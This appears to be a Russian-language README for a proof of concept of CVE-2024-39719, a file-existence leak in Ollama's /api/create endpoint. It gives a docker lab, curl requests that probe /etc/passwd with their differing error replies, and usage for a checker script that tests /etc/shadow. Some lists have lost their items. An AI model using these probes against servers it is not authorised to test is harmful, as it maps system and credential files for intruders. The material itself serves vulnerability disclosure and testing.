
CVE-2024-39719 — это уязвимость раскрытия информации о существовании файлов, затрагивающая Ollama версии 0.3.14 и более ранние. Эта уязвимость позволяет злоумышленникам определять наличие конкретных файлов на сервере через конечную точку API, что потенциально может привести к утечке информации.
Дата публикации: 31 октября 2024 года
Уязвимость существует в конечной точке /api/create Ollama. Когда злоумышленник вызывает API CreateModel с параметром пути, сервер возвращает разные сообщения об ошибках в зависимости от того, существует ли путь. Такое поведение позволяет злоумышленнику определить, существует ли конкретный файл или каталог на сервере, анализируя сообщения об ошибках.
Корень проблемы в том, что при обработке пользовательского ввода система напрямую раскрывает клиенту ошибки файловой системы, вместо того чтобы должным образом скрывать информацию о существовании пути.
Эта уязвимость затрагивает все версии Ollama вплоть до 0.3.14 включительно.
Хотя уязвимость раскрытия существования файлов может изначально казаться не столь серьёзной, она может:
services:
ollama:
image: ollama/ollama:0.3.14
container_name: ollama
volumes:
- ollama:/root/.ollama
ports:
- "11434:11434"
volumes:
ollama:
docker compose up -d
http://your-ip:11434/.Отправьте запрос с помощью curl, чтобы попытаться получить доступ к несуществующему файлу:
curl "http://your-ip:11434/api/create" -d '{"name": "file-leak-existence","path": "/tmp/non-existing"}'
Ответ:
{"error":"error reading modelfile: open /tmp/non-existing: no such file or directory"}
Проверьте существующий файл, например /etc/passwd:
curl "http://your-ip:11434/api/create" -d '{"name": "file-leak-existence","path": "/etc/passwd"}'
Ответ:
{"error":"no FROM line for the model was specified"}
Анализируя эти различные сообщения об ошибках, злоумышленник может определить, существует ли целевой путь, получая информацию о структуре файлов на сервере. Обратите внимание, что информация, возвращаемая сервером, может различаться в зависимости от версии.
Ollama исправила эту уязвимость в более новых версиях. Исправления включают:
/api/create.Предоставленный Python-скрипт позволяет проверить, уязвим ли сервер Ollama к CVE-2024-39719.
requests, termcolorpip install requests termcolor
python CVE_2024_39719.py -u <ollama-server-url> [-f <file-to-check>]
-u, --url: URL сервера Ollama (обязательно)-f, --file: файл для проверки существования (по умолчанию "/etc/passwd")# Проверка, уязвим ли сервер
python CVE_2024_39719.py -u http://your-ip:11434
# Проверка существования конкретного файла
python CVE_2024_39719.py -u http://your-ip:11434 -f /etc/shadow
Этот скрипт предоставляется только в образовательных целях и для легитимного тестирования безопасности. Всегда убедитесь, что у вас есть соответствующие полномочия перед тестированием любой системы на уязвимости. Несанкционированное тестирование может нарушать законы и нормативные акты.